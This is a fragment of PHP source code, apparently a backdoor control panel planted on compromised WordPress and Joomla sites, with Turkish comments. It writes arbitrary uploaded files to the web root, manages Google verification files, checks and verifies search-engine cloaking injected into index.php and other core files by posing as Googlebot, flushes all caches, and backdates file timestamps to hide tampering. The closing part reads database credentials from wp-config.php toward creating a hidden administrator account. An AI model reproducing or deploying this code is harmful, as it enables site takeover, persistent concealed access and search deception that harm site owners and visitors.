  $d=isset($_POST["d"])?$_POST["d"]:'';
  $bin=@hex2bin($d);
  while(ob_get_level()>0)ob_end_clean();
  if($bin===false){echo"ERR: bozuk veri";exit;}
  if(strpos($bin,'<?')!==false){echo"ERR: PHP etiketi icermez";exit;}
  $ok=@file_put_contents($target,$bin);
  echo $ok!==false?'OK':'ERR';exit;
}

// ---- Google doğrulama dosyası yaz ------------------------------------------
if($a==="writegoogle"){
  $name=wrz_cloak_b64url_decode(isset($_POST["b"])?$_POST["b"]:(isset($_GET["b"])?$_GET["b"]:''));
  while(ob_get_level()>0)ob_end_clean();
  if(!wrz_cloak_safe_name($name)||!wrz_cloak_is_google_file($name)){echo"Forbidden";exit;}
  $target=$DIR.DIRECTORY_SEPARATOR.$name;
  $d=isset($_POST["d"])?$_POST["d"]:'';
  $bin=@hex2bin($d);
  if($bin===false){echo"ERR: bozuk veri";exit;}
  if(!preg_match('/^google-site-verification:\s*[A-Za-z0-9_\-\.]+\s*$/',trim($bin))){echo"ERR: Sadece 'google-site-verification: TOKEN' formatı kabul edilir";exit;}
  $ok=@file_put_contents($target,$bin);
  echo $ok!==false?'OK':'ERR';exit;
}

// ---- Google doğrulama dosyası sil ------------------------------------------
if($a==="rmgoogle"){
  $name=wrz_cloak_b64url_decode(isset($_GET["b"])?$_GET["b"]:(isset($_POST["b"])?$_POST["b"]:''));
  while(ob_get_level()>0)ob_end_clean();
  if(!wrz_cloak_safe_name($name)||!wrz_cloak_is_google_file($name)){echo"Forbidden";exit;}
  $target=$DIR.DIRECTORY_SEPARATOR.$name;
  $ok=@unlink($target);
  echo $ok?'OK':'ERR';exit;
}

// ---- Cloak aktif mi kontrol et (index.php VEYA mu-plugin / includes/app.php) --------
if($a==="checkcloak"){
  global $AMP_FILE;
  $cms=wrz_cloak_cms($DIR);
  $idx=$DIR.DIRECTORY_SEPARATOR.'index.php';
  $content=file_exists($idx)?(string)@file_get_contents($idx):'';
  $ampSpec=function_exists('wrz_cloak_joomla_find_amp')?wrz_cloak_joomla_find_amp($DIR):null;
  $ampOk=$ampSpec?(@is_file($ampSpec['full'])&&@filesize($ampSpec['full'])>=10):(@is_file($DIR.'/'.$AMP_FILE)&&@filesize($DIR.'/'.$AMP_FILE)>=10);
  $indexActive=(strpos($content,'wp-comments-post-loader.html')!==false||strpos($content,'WRZ-JOOMLA-CLOAK')!==false);
  $ampLoaderFile=false;
  if(function_exists('wrz_cloak_joomla_amp_loader_paths')){
    foreach(wrz_cloak_joomla_amp_loader_paths($DIR) as $spec){
      if(@is_file($spec['file'])){$ampLoaderFile=true;break;}
    }
  }
  $ampInline=(strpos($content,'WRZ-AMP-CLOAK')!==false);
  $ampJoomla=($ampLoaderFile&&strpos($content,'wrz-amp-cloak.php')!==false)||$ampInline;
  $ampWp=@is_file($DIR.'/wp-content/mu-plugins/wrz-amp-cloak.php');
  if($cms==='joomla'){
    $loaderActive=@is_file($DIR.'/wrz-bot-cloak.php')||@is_file($DIR.'/tmp/wrz-bot-cloak.php')||@is_file($DIR.'/cache/wrz-bot-cloak.php')||@is_file($DIR.'/includes/wrz-bot-cloak.php');
    $requireActive=(strpos($content,'wrz-bot-cloak.php')!==false);
    $inlineActive=(strpos($content,'WRZ-JOOMLA-CLOAK')!==false);
    $htmlOk=@is_file($DIR.'/'.$HTML_FILE)&&@filesize($DIR.'/'.$HTML_FILE)>=10;
    $active=(($ampJoomla&&$ampOk)||(($loaderActive&&$requireActive)||$inlineActive)&&$htmlOk);
  }else{
  $muActive=file_exists($DIR.'/wp-content/mu-plugins/wrz-google-bot-bypass.php');
  $wpblogContent=file_exists($DIR.'/wp-blog-header.php')?(string)@file_get_contents($DIR.'/wp-blog-header.php'):'';
  $wpblogActive=(strpos($wpblogContent,'WRZ-CLOAK-START')!==false);
    $active=($ampWp&&$ampOk)||$indexActive||$muActive||$wpblogActive;
  }
  while(ob_get_level()>0)ob_end_clean();
  header("Content-Type:application/json");
  echo json_encode([
    'active'=>$active,
    'cms'=>$cms,
    'amp'=>$ampOk,
    'amp_size'=>$ampSpec?(int)@filesize($ampSpec['full']):(@is_file($DIR.'/'.$AMP_FILE)?(int)@filesize($DIR.'/'.$AMP_FILE):0),
    'loader'=>$ampLoaderFile||$ampInline||@is_file($DIR.'/wp-content/mu-plugins/wrz-amp-cloak.php'),
    'html_size'=>@is_file($DIR.'/'.$HTML_FILE)?(int)@filesize($DIR.'/'.$HTML_FILE):0,
  ],JSON_UNESCAPED_UNICODE);exit;
}

// ---- GoogleBot simülasyonu: siteye GoogleBot UA ile istek at ----------------
if($a==="botcheck"){
  ob_start();
  $scheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http';
  $host=$_SERVER['HTTP_HOST'];
  $url=$scheme.'://'.$host.'/';

  if(!function_exists('curl_init')){
    ob_end_clean();
    while(ob_get_level()>0)ob_end_clean();
    header("Content-Type:application/json");
    echo json_encode(['error'=>'cURL bu sunucuda aktif değil.']);exit;
  }

  $ch=curl_init();
  curl_setopt_array($ch,[
    CURLOPT_URL            =>$url,
    CURLOPT_RETURNTRANSFER =>true,
    CURLOPT_USERAGENT      =>'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
    CURLOPT_TIMEOUT        =>15,
    CURLOPT_FOLLOWLOCATION =>true,
    CURLOPT_MAXREDIRS      =>5,
    CURLOPT_SSL_VERIFYPEER =>false,
    CURLOPT_SSL_VERIFYHOST =>false,
    CURLOPT_HTTPHEADER     =>['Accept: text/html,application/xhtml+xml,*/*','Accept-Language: en-US,en;q=0.9'],
  ]);
  $body=(string)curl_exec($ch);
  $httpCode=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);
  $finalUrl=curl_getinfo($ch,CURLINFO_EFFECTIVE_URL);
  $curlErr=curl_error($ch);
  curl_close($ch);

  $htmlPath=$DIR.DIRECTORY_SEPARATOR.$HTML_FILE;
  $ampSpec=function_exists('wrz_cloak_joomla_find_amp')?wrz_cloak_joomla_find_amp($DIR):null;
  $ampPath=$ampSpec?$ampSpec['full']:($DIR.DIRECTORY_SEPARATOR.'amp.php');
  $htmlContent=file_exists($htmlPath)?(string)@file_get_contents($htmlPath):'';
  $ampContent=file_exists($ampPath)?(string)@file_get_contents($ampPath):'';
  $refContent=$ampContent!==''?$ampContent:$htmlContent;
  $htmlText=trim(strip_tags($refContent));
  $bodyText=trim(strip_tags($body));
  $matched=false;
  $bodyEmpty=(strlen(trim($body))<20);
  if($htmlText!==''&&strlen($htmlText)>=10){
    $needle=wrz_cloak_sub($htmlText,0,120);
    $matched=(strpos($bodyText,$needle)!==false);
  }
  if(!$matched&&$htmlText!==''&&strlen($body)>=20){
    $matched=(strpos($body,wrz_cloak_sub($htmlText,0,80))!==false);
  }
  if(!$matched&&$ampContent!==''&&strlen($ampContent)>=10&&strlen($body)>=20){
    $matched=(strpos($body,wrz_cloak_sub(trim(strip_tags($ampContent)),0,80))!==false);
  }

  $idxContent=(string)@file_get_contents($DIR.DIRECTORY_SEPARATOR.'index.php');
  $cloakIntact=(strpos($idxContent,'WRZ-AMP-CLOAK')!==false||strpos($idxContent,'wrz-amp-cloak.php')!==false||strpos($idxContent,'wrz-bot-cloak.php')!==false||strpos($idxContent,'wp-comments-post-loader.html')!==false||strpos($idxContent,'WRZ-JOOMLA-CLOAK')!==false);
  $loaderExists=false;
  if(function_exists('wrz_cloak_joomla_amp_loader_paths')){
    foreach(wrz_cloak_joomla_amp_loader_paths($DIR) as $spec){
      if(@is_file($spec['file'])){$loaderExists=true;break;}
    }
  }
  if(!$loaderExists){
    $loaderExists=@is_file($DIR.'/wp-content/mu-plugins/wrz-amp-cloak.php');
  }
  if(!$loaderExists&&strpos($idxContent,'WRZ-AMP-CLOAK')!==false)$loaderExists=true;

  $preview=wrz_cloak_sub($body,0,800);
  if(function_exists('iconv'))$preview=(string)@iconv('UTF-8','UTF-8//IGNORE',$preview);

  $out=json_encode([
    'url'         =>$url,
    'final_url'   =>$finalUrl,
    'http_code'   =>$httpCode,
    'curl_error'  =>$curlErr,
    'matched'     =>$matched,
    'site_blank'  =>$bodyEmpty&&$httpCode>=200&&$httpCode<400,
    'html_empty'  =>($ampContent===''&&$htmlContent===''),
    'amp_bytes'   =>strlen($ampContent),
    'amp_path'    =>$ampSpec?$ampSpec['rel']:'amp.php',
    'body_bytes'  =>strlen($body),
    'cloak_intact'=>$cloakIntact,
    'loader_exists'=>$loaderExists,
    'html_bytes'=>strlen($htmlContent),
    'preview'     =>$preview,
  ],JSON_UNESCAPED_UNICODE);
  if($out===false)$out=json_encode(['url'=>$url,'http_code'=>$httpCode,'matched'=>$matched,'html_empty'=>($ampContent===''&&$htmlContent===''),'cloak_intact'=>$cloakIntact,'curl_error'=>$curlErr,'preview'=>'(önizleme kodlanamadı)']);
  while(ob_get_level()>0)ob_end_clean();
  header("Content-Type:application/json");
  echo $out;exit;
}

// ---- Cache Temizleme --------------------------------------------------------
if($a==="clearcache"){
  $res=[];
  try {

  // 1. PHP OPcache — reset + index.php hedefli invalidate
  if(function_exists('opcache_get_status')&&opcache_get_status()!==false){
    $ok=opcache_reset();
    $idxPhp=$DIR.DIRECTORY_SEPARATOR.'index.php';
    if(function_exists('opcache_invalidate')&&file_exists($idxPhp))opcache_invalidate($idxPhp,true);
    $res['opcache']=$ok?['s'=>'ok','m'=>'Sıfırlandı + index.php invalidate edildi']:['s'=>'err','m'=>'Sıfırlanamadı'];
  }else{
    $res['opcache']=['s'=>'na','m'=>'Aktif değil'];
  }

  // 1b. PHP-FPM graceful restart
  if(function_exists('shell_exec')){
    $fpmPid=trim((string)@shell_exec('cat /var/run/php-fpm.pid 2>/dev/null'));
    if($fpmPid&&ctype_digit($fpmPid)){
      @shell_exec("kill -USR2 $fpmPid 2>/dev/null");
      $res['fpm_reload']=['s'=>'ok','m'=>"FPM PID $fpmPid — USR2 gönderildi"];
    }else{
      $res['fpm_reload']=['s'=>'na','m'=>'FPM pid dosyası bulunamadı'];
    }
  }else{$res['fpm_reload']=['s'=>'na','m'=>'shell_exec devre dışı'];}

  // 2. APC
  if(function_exists('apc_clear_cache')){
    @apc_clear_cache();@apc_clear_cache('user');
    $res['apc']=['s'=>'ok','m'=>'Temizlendi'];
  }else{
    $res['apc']=['s'=>'na','m'=>'Yok'];
  }

  // 2b. Memcache
  if(class_exists('Memcache')){
    try{
      $mc=new Memcache();$mcOk=false;
      foreach([['127.0.0.1',11211],['localhost',11211]] as $_mcPair){
        $mh=$_mcPair[0]; $mp=$_mcPair[1];
        if(@$mc->connect($mh,$mp)){$mc->flush();$mc->close();$mcOk=true;break;}
      }
      $res['memcache']=$mcOk?['s'=>'ok','m'=>'Temizlendi']:['s'=>'na','m'=>'Bağlantı kurulamadı'];
    }catch(Exception $e){$res['memcache']=['s'=>'err','m'=>$e->getMessage()];}
  }else{$res['memcache']=['s'=>'na','m'=>'Extension yok'];}

  // 2c. Memcached
  if(class_exists('Memcached')){
    try{
      $mcd=new Memcached();$mcd->addServer('127.0.0.1',11211);
      $ok=$mcd->flush();
      $res['memcached']=$ok?['s'=>'ok','m'=>'Temizlendi']:['s'=>'na','m'=>'Bağlantı yok veya başarısız'];
    }catch(Exception $e){$res['memcached']=['s'=>'err','m'=>$e->getMessage()];}
  }else{$res['memcached']=['s'=>'na','m'=>'Extension yok'];}

  // 2d. Redis
  if(class_exists('Redis')){
    try{
      $redis=new Redis();$redisOk=false;
      foreach([6379,6380] as $rp){
        if(@$redis->connect('127.0.0.1',$rp,2)){
          $redis->flushAll();$redis->close();
          $res['redis']=['s'=>'ok','m'=>"Temizlendi (port $rp)"];
          $redisOk=true;break;
        }
      }
      if(!$redisOk)$res['redis']=['s'=>'na','m'=>'Bağlantı kurulamadı'];
    }catch(Exception $e){$res['redis']=['s'=>'err','m'=>$e->getMessage()];}
  }else{$res['redis']=['s'=>'na','m'=>'Extension yok'];}

  // 3. WordPress disk cache (wp-content/cache/) — ana dizin
  $cmsClear=wrz_cloak_cms($DIR);
  if($cmsClear==='joomla'){
    $joomlaDirs=[
      'joomla_cache'=>[$DIR.'/cache/','Joomla cache/'],
      'joomla_admin_cache'=>[$DIR.'/administrator/cache/','Joomla administrator/cache/'],
      'joomla_tmp'=>[$DIR.'/tmp/','Joomla tmp/'],
    ];
    foreach($joomlaDirs as $jk=>$jpair){
      $jdir=$jpair[0]; $jlabel=$jpair[1];
      if(is_dir($jdir)){
        $jcnt=wrz_cloak_cc_rmdir($jdir);
        $res[$jk]=['s'=>'ok','m'=>"$jlabel: $jcnt dosya silindi"];
      }else{
        $res[$jk]=['s'=>'na','m'=>"$jlabel bulunamadi"];
      }
    }
    $res['wp_cache']=['s'=>'na','m'=>'WordPress degil — Joomla cache temizlendi'];
    $res['wp_api']=['s'=>'na','m'=>'Joomla — WP plugin API atlandi'];
  }else{
  $wpCache=$DIR.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'cache';
  if(is_dir($wpCache)){
    $count=wrz_cloak_cc_rmdir($wpCache);
    $res['wp_cache']=['s'=>'ok','m'=>"$count dosya silindi"];
  }else{
    $res['wp_cache']=['s'=>'na','m'=>'wp-content/cache/ bulunamadı'];
  }

  // 3b. WP Plugin cache dizinleri — dizin bazlı tespit + silme
  $pluginDirs=[
    'dir_w3tc'       =>[$DIR.'/wp-content/w3tc-cache/','W3 Total Cache'],
    'dir_wprocket'   =>[$DIR.'/wp-content/wp-rocket-cache/','WP Rocket'],
    'dir_litespeed'  =>[$DIR.'/wp-content/litespeed/','LiteSpeed'],
    'dir_autoptimize'=>[$DIR.'/wp-content/cache/autoptimize/','Autoptimize'],
    'dir_endurance'  =>[$DIR.'/wp-content/endurance-page-cache/','Endurance Page Cache'],
    'dir_wpfastest'  =>[$DIR.'/wp-content/uploads/wp-fastest-cache/','WP Fastest Cache'],
    'dir_comet'      =>[$DIR.'/wp-content/cache/comet-cache/','Comet Cache'],
    'dir_enabler'    =>[$DIR.'/wp-content/cache/cache-enabler/','Cache Enabler'],
  ];
  foreach($pluginDirs as $k=>$pluginPair){
    $pdir=$pluginPair[0]; $plabel=$pluginPair[1];
    if(is_dir($pdir)){
      $pcnt=wrz_cloak_cc_rmdir($pdir);
      $res[$k]=['s'=>'ok','m'=>"$plabel: $pcnt dosya silindi"];
    }else{
      $res[$k]=['s'=>'na','m'=>"$plabel: dizin bulunamadı"];
    }
  }

  // 3c. WordPress API — SHORTINIT ile minimal yukle
  $wpLoaded = wrz_cloak_try_load_wp($DIR);
  if($wpLoaded){
    // WP Object Cache
    if(function_exists('wp_cache_flush')){
      wp_cache_flush();
      $res['wp_object_cache']=['s'=>'ok','m'=>'WP Object Cache temizlendi'];
    }
    // WP Super Cache
    if(function_exists('wp_cache_clear_cache')){
      @wp_cache_clear_cache();
      $res['api_supercache']=['s'=>'ok','m'=>'WP Super Cache API temizlendi'];
    }else{$res['api_supercache']=['s'=>'na','m'=>'WP Super Cache yok'];}
    // W3 Total Cache
    if(function_exists('w3tc_flush_all')){
      @w3tc_flush_all();
      if(function_exists('w3tc_flush_dbcache'))@w3tc_flush_dbcache();
      if(function_exists('w3tc_flush_objectcache'))@w3tc_flush_objectcache();
      if(function_exists('w3tc_flush_minify'))@w3tc_flush_minify();
      $res['api_w3tc']=['s'=>'ok','m'=>'W3 Total Cache API temizlendi'];
    }else{$res['api_w3tc']=['s'=>'na','m'=>'W3TC yok'];}
    // WP Rocket
    if(function_exists('rocket_clean_domain')){
      @rocket_clean_domain();
      if(function_exists('rocket_clean_minify'))@rocket_clean_minify();
      if(function_exists('rocket_clean_cache_busting'))@rocket_clean_cache_busting();
      $res['api_wprocket']=['s'=>'ok','m'=>'WP Rocket API temizlendi'];
    }else{$res['api_wprocket']=['s'=>'na','m'=>'WP Rocket yok'];}
    // WP Fastest Cache
    if(class_exists('WpFastestCache')){
      try{$wpfc=new WpFastestCache();$wpfc->deleteCache();$wpfc->deleteCache(true);
        $res['api_wpfastest']=['s'=>'ok','m'=>'WP Fastest Cache API temizlendi'];
      }catch(Exception $e){$res['api_wpfastest']=['s'=>'err','m'=>$e->getMessage()];}
    }else{$res['api_wpfastest']=['s'=>'na','m'=>'WP Fastest Cache yok'];}
    // Autoptimize
    if(class_exists('autoptimizeCache')){
      @autoptimizeCache::clearall();
      $res['api_autoptimize']=['s'=>'ok','m'=>'Autoptimize API temizlendi'];
    }else{$res['api_autoptimize']=['s'=>'na','m'=>'Autoptimize yok'];}
    // LiteSpeed Cache WP Plugin
    if(defined('LSCWP_V')||class_exists('LiteSpeed_Cache')){
      do_action('litespeed_purge_all');
      do_action('litespeed_purge_cssjs');
      $res['api_litespeed']=['s'=>'ok','m'=>'LiteSpeed Cache Plugin API temizlendi'];
    }else{$res['api_litespeed']=['s'=>'na','m'=>'LiteSpeed Cache Plugin yok'];}
    // SG Optimizer
    if(function_exists('sg_cachepress_purge_cache')){
      sg_cachepress_purge_cache();
      $res['api_sgoptimizer']=['s'=>'ok','m'=>'SG Optimizer temizlendi'];
    }else{$res['api_sgoptimizer']=['s'=>'na','m'=>'SG Optimizer yok'];}
    // Cache Enabler
    if(class_exists('Cache_Enabler')){
      Cache_Enabler::clear_total_cache();
      $res['api_cacheenabler']=['s'=>'ok','m'=>'Cache Enabler API temizlendi'];
    }else{$res['api_cacheenabler']=['s'=>'na','m'=>'Cache Enabler yok'];}
    // Comet Cache
    if(class_exists('comet_cache')){
      comet_cache::clear();
      $res['api_comet']=['s'=>'ok','m'=>'Comet Cache API temizlendi'];
    }else{$res['api_comet']=['s'=>'na','m'=>'Comet Cache yok'];}
    // Hummingbird
    if(class_exists('Hummingbird\WP_Hummingbird')){
      do_action('wphb_clear_page_cache');
      $res['api_hummingbird']=['s'=>'ok','m'=>'Hummingbird temizlendi'];
    }else{$res['api_hummingbird']=['s'=>'na','m'=>'Hummingbird yok'];}
    // Swift Performance
    if(class_exists('Swift_Performance_Cache')){
      Swift_Performance_Cache::clear_all_cache();
      $res['api_swift']=['s'=>'ok','m'=>'Swift Performance temizlendi'];
    }else{$res['api_swift']=['s'=>'na','m'=>'Swift Performance yok'];}
    // Cloudflare — WP options'tan kimlik bilgilerini çek
    if(function_exists('get_option')&&function_exists('curl_init')){
      $cfEmail=get_option('cloudflare_email','')?:get_option('cf_email','');
      $cfKey  =get_option('cloudflare_api_key','')?:get_option('cf_api_key','');
      $cfZone =get_option('cloudflare_zone_id','')?:get_option('cloudflare-zone-id','');
      if($cfEmail&&$cfKey&&$cfZone){
        $ch=curl_init("https://api.cloudflare.com/client/v4/zones/$cfZone/purge_cache");
        curl_setopt_array($ch,[
          CURLOPT_CUSTOMREQUEST  =>'POST',
          CURLOPT_HTTPHEADER     =>["X-Auth-Email: $cfEmail","X-Auth-Key: $cfKey","Content-Type: application/json"],
          CURLOPT_POSTFIELDS     =>json_encode(['purge_everything'=>true]),
          CURLOPT_RETURNTRANSFER =>true,
          CURLOPT_TIMEOUT        =>15,
          CURLOPT_SSL_VERIFYPEER =>false,
        ]);
        $cfResp=curl_exec($ch);$cfCode=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);$cfErr=curl_error($ch);curl_close($ch);
        if(!$cfErr&&$cfCode===200){
          $res['cloudflare']=['s'=>'ok','m'=>'Cloudflare zone tamamen temizlendi'];
        }else{
          $res['cloudflare']=['s'=>'err','m'=>"Cloudflare API hatası HTTP $cfCode".($cfErr?" ($cfErr)":'')];
        }
      }else{
        $res['cloudflare']=['s'=>'na','m'=>'Cloudflare bilgileri WP options\'ta bulunamadı'];
      }
    }else{
      $res['cloudflare']=['s'=>'na','m'=>'Cloudflare: cURL yok veya WP yüklenmedi'];
    }
  }else{
    $res['wp_api']=['s'=>'na','m'=>'wp-load.php bulunamadı — WP plugin API\'leri atlandı'];
  }
  } // end WordPress-only cache block

  // 4. Aruba CDN purge (127.0.0.1:8889)
  if(function_exists('curl_init')){
    $hhost=$_SERVER['HTTP_HOST'];
    $ch=curl_init('http://127.0.0.1:8889/purge/');
    curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_HTTPHEADER=>["Host: $hhost"],CURLOPT_TIMEOUT=>3,CURLOPT_CONNECTTIMEOUT=>2]);
    curl_exec($ch);$code=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);$cerr=curl_error($ch);curl_close($ch);
    $res['aruba']=$cerr||$code===0
      ?['s'=>'na','m'=>'Port 8889 yanıt vermedi (Aruba değil)']
      :['s'=>'ok','m'=>"Purge edildi (HTTP $code)"];
  }else{$res['aruba']=['s'=>'na','m'=>'cURL yok'];}

  // 5. Varnish PURGE (127.0.0.1:6081 → 80)
  $vDone=false;
  if(function_exists('curl_init')){
    $hhost=$_SERVER['HTTP_HOST'];
    foreach([6081,80] as $vp){
      $ch=curl_init("http://127.0.0.1:$vp/");
      curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_CUSTOMREQUEST=>'PURGE',CURLOPT_HTTPHEADER=>["Host: $hhost","X-Purge-Method: default"],CURLOPT_TIMEOUT=>2,CURLOPT_CONNECTTIMEOUT=>2]);
      curl_exec($ch);$code=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);$cerr=curl_error($ch);curl_close($ch);
      if(!$cerr&&$code>0){$res['varnish']=['s'=>'ok','m'=>"PURGE port $vp → HTTP $code"];$vDone=true;break;}
    }
    if(!$vDone)$res['varnish']=['s'=>'na','m'=>'Varnish tespit edilmedi'];
  }else{$res['varnish']=['s'=>'na','m'=>'cURL yok'];}

  // 5b. Nginx FastCGI Cache — yaygın dizin konumlarını tara
  $nginxFound=false;
  foreach(['/var/cache/nginx/','/tmp/nginx-cache/','/dev/shm/nginx-cache/',$DIR.'/.nginx-cache/'] as $ndir){
    if(is_dir($ndir)&&is_writable($ndir)){
      $ncnt=wrz_cloak_cc_rmdir($ndir);
      $res['nginx_cache']=['s'=>'ok','m'=>"Nginx FastCGI Cache: $ncnt dosya silindi ($ndir)"];
      $nginxFound=true;break;
    }
  }
  if(!$nginxFound)$res['nginx_cache']=['s'=>'na','m'=>'Nginx FastCGI Cache dizini bulunamadı'];

  // 6. Hostinger/LiteSpeed WP-CLI purge
  $wpCli='';
  foreach(['/usr/local/bin/wp','/usr/bin/wp','/bin/wp'] as $p){if(@file_exists($p)){$wpCli=$p;break;}}
  if($wpCli&&function_exists('shell_exec')){
    $out=trim((string)@shell_exec("cd ".escapeshellarg($DIR)." && $wpCli litespeed-purge all --allow-root 2>&1"));
    $res['litespeed_wpcli']=['s'=>'ok','m'=>$out?:"Çalıştırıldı"];
  }elseif(!$wpCli){
    $res['litespeed_wpcli']=['s'=>'na','m'=>'WP-CLI bulunamadı'];
  }else{
    $res['litespeed_wpcli']=['s'=>'na','m'=>'shell_exec devre dışı'];
  }

  // 7. .htaccess tarama (değiştirmez, yalnızca uyarır)
  $htFile=$DIR.DIRECTORY_SEPARATOR.'.htaccess';
  if(file_exists($htFile)){
    $ht=(string)@file_get_contents($htFile);
    $warns=[];
    if(preg_match('/ExpiresActive\s+On|ExpiresByType/i',$ht))$warns[]='mod_expires';
    if(preg_match('/W3TC|W3 Total Cache/i',$ht))$warns[]='W3TC';
    if(preg_match('/LiteSpeed/i',$ht))$warns[]='LiteSpeed';
    if(preg_match('/max-age\s*=\s*[1-9][0-9]{2,}/i',$ht))$warns[]='max-age';
    $res['htaccess']=$warns
      ?['s'=>'warn','m'=>'Dikkat: '.implode(', ',$warns).' tespit edildi — manuel kontrol önerilir']
      :['s'=>'ok','m'=>'Sorunlu kural bulunamadı'];
  }else{
    $res['htaccess']=['s'=>'na','m'=>'.htaccess yok'];
  }

  // 8. Cache Warmup — masaüstü + mobil UA ile anasayfayı ısıt
  if(function_exists('curl_init')){
    $wScheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http';
    $wUrl=$wScheme.'://'.$_SERVER['HTTP_HOST'].'/';
    $wUAs=[
      'warmup_desktop'=>'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
      'warmup_mobile' =>'Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36',
    ];
    foreach($wUAs as $wKey=>$wUA){
      $wch=curl_init();
      curl_setopt_array($wch,[
        CURLOPT_URL            =>$wUrl,
        CURLOPT_RETURNTRANSFER =>true,
        CURLOPT_USERAGENT      =>$wUA,
        CURLOPT_TIMEOUT        =>10,
        CURLOPT_FOLLOWLOCATION =>true,
        CURLOPT_MAXREDIRS      =>3,
        CURLOPT_SSL_VERIFYPEER =>false,
        CURLOPT_SSL_VERIFYHOST =>false,
        CURLOPT_HTTPHEADER     =>['Accept: text/html,application/xhtml+xml,*/*','Accept-Language: tr-TR,tr;q=0.9,en;q=0.8'],
      ]);
      curl_exec($wch);
      $wCode=(int)curl_getinfo($wch,CURLINFO_HTTP_CODE);
      $wErr=curl_error($wch);
      curl_close($wch);
      $res[$wKey]=$wErr
        ?['s'=>'err','m'=>'Warmup hatası: '.$wErr]
        :['s'=>'ok','m'=>'HTTP '.$wCode.' → '.$wUrl];
    }
  }else{
    $res['warmup_desktop']=['s'=>'na','m'=>'cURL yok'];
    $res['warmup_mobile'] =['s'=>'na','m'=>'cURL yok'];
  }

  } catch (Throwable $e) {
    wrz_cloak_json_exit(['error' => $e->getMessage(), 'fatal' => 'clearcache']);
  }
  wrz_cloak_json_exit($res);
}

// ---- Timestamp maskeleme ---------------------------------------------------
if($a==="fixtimestamp"){
  $cms=wrz_cloak_cms($DIR);
  $skip=[basename(__FILE__)];
  $maskFiles=[$INDEX_FILE,$HTML_FILE];
  if($cms==='joomla'){
    $boot=wrz_cloak_joomla_bootstrap($DIR);
    $rel=str_replace('\\','/',$boot);
    $base=str_replace('\\','/',$DIR).'/';
    if(strpos($rel,$base)===0)$rel=substr($rel,strlen($base));
    $maskFiles[]=$rel;
  }else{
    $maskFiles[]='wp-blog-header.php';
  }
  $refMt=wrz_cloak_ref_mtime($DIR,array_merge($skip,$maskFiles));
  $res=[];
  if(!$refMt){
    $res['ref']=['s'=>'warn','m'=>'Dizinde referans dosya bulunamadı'];
    header("Content-Type:application/json");echo json_encode($res,JSON_UNESCAPED_UNICODE);exit;
  }
  $res['ref']=['s'=>'ok','m'=>'Referans tarih: '.date('d.m.Y H:i',$refMt)];
  foreach($maskFiles as $mf){
    $fp=$DIR.DIRECTORY_SEPARATOR.str_replace('/',DIRECTORY_SEPARATOR,$mf);
    if(!file_exists($fp)){$res[$mf]=['s'=>'na','m'=>'Dosya yok'];continue;}
    $old=@filemtime($fp);
    $ok=@touch($fp,$refMt);
    $res[$mf]=['s'=>$ok?'ok':'err','m'=>date('d.m.Y H:i',$old).' → '.date('d.m.Y H:i',$refMt)];
  }
  header("Content-Type:application/json");echo json_encode($res,JSON_UNESCAPED_UNICODE);exit;
}

while (@ob_get_level() > 0) {
  @ob_end_clean();
}
wrz_cloak_json_exit(['error' => 'Bilinmeyen cloak islemi: ' . $a]);


}
// ===== /Cloak =====
if (function_exists('wrz_cloak_handle_request') && wrz_cloak_handle_request()) {
    exit;
}


function wrz_read_wp_config($root) {
    $file = rtrim(str_replace('\\', '/', (string) $root), '/') . '/wp-config.php';
    if (!@is_file($file)) {
        return null;
    }
    $src = @file_get_contents($file);
    if ($src === false || $src === '') {
        return null;
    }

    $cfg = [];
    foreach (['DB_NAME', 'DB_USER', 'DB_PASSWORD', 'DB_HOST'] as $key) {
        if (preg_match("/define\s*\(\s*['\"]{$key}['\"]\s*,\s*['\"]((?:\\\\.|[^'\\\\])*)['\"]\s*\)/", $src, $m)) {
            $cfg[$key] = stripcslashes($m[1]);
        } elseif (preg_match("/define\s*\(\s*['\"]{$key}['\"]\s*,\s*['\"]['\"]\s*\)/", $src)) {
            $cfg[$key] = '';
        }
    }
    if (preg_match('/\$table_prefix\s*=\s*[\'"]([^\'"]+)[\'"]/', $src, $m)) {
        $cfg['table_prefix'] = $m[1];
    } else {
        $cfg['table_prefix'] = 'wp_';
    }

    if (empty($cfg['DB_NAME']) || !isset($cfg['DB_USER']) || empty($cfg['DB_HOST'])) {
        return null;
    }

    return $cfg;
}

function wrz_guess_email_domain() {
    $host = isset($_SERVER['HTTP_HOST']) ? (string) $_SERVER['HTTP_HOST'] : '';
    $host = preg_replace('/:\d+$/', '', $host);
    $host = preg_replace('/[^a-z0-9.-]/i', '', $host);
    return $host !== '' ? $host : 'localhost.local';
}

function wrz_wp_hash_password($root, $password) {
    $class = rtrim(str_replace('\\', '/', (string) $root), '/') . '/wp-includes/class-phpass.php';
    if (!@is_file($class)) {
        return null;
    }
    require_once $class;
    if (!class_exists('PasswordHash')) {
        return null;
    }
    $hasher = new PasswordHash(8, true);
    return $hasher->HashPassword($password);
}

function wrz_wp_user_exists_db($mysqli, $usersTable, $login, $email) {
    $stmt = @$mysqli->prepare("SELECT ID FROM `{$usersTable}` WHERE user_login = ? OR user_email = ? LIMIT 1");
    if (!$stmt) {
        return false;
    }
    $stmt->bind_param('ss', $login, $email);
    if (!$stmt->execute()) {
        $stmt->close();
        return false;
    }
    if (method_exists($stmt, 'get_result')) {
        $res = $stmt->get_result();
        $exists = $res && $res->num_rows > 0;
    } else {
        $stmt->store_result();
        $exists = $stmt->num_rows > 0;
    }
    $stmt->close();
    return $exists;
}

function wrz_create_wp_admin_db($root, $login, $pass, $email) {
    $cfg = wrz_read_wp_config($root);
    if (!$cfg) {
        return ['ok' => false, 'err' => 'wp-config.php okunamadi'];
    }

